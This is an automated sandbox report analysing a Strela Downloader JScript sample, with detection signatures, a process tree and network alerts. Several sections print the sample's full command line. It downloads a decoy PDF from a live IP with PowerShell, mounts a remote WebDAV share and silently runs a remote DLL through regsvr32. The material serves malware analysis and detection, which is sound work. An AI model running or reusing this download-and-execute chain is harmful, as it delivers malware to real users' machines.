Edit tour

Windows Analysis Report
35491083472324549.js

Overview

General Information

Sample name:	35491083472324549.js
Analysis ID:	1590611
MD5:	e31a814ebfc9f6061653d7709ab15788
SHA1:	ebe5f77c19563b739224d4b03d7bf6dd20074a91
SHA256:	06fe51c6fe3fb076f9ff0f2d3840144c89e24743316d6b8ca10f89b3eee8a635
Tags:	jsuser-lowmal3
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7680 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7732 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7784 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7976 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6572 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5472 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1596,i,1186940442313801581,7832851358517794452,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7992 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8104 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7352 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7680	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js", ProcessId: 7680, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8104, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7680, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7680, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7680, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7680, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7680, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js", ProcessId: 7680, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7992, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8104, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7352, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7992, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8104, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7680, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll, ProcessId: 7732, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T11:12:02.772395+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T11:12:05.600373+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T11:12:02.772395+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 35491083472324549.js	ReversingLabs: Detection: 13%
Source: 35491083472324549.js	Virustotal: Detection: 14%			Perma Link

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 10:12:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

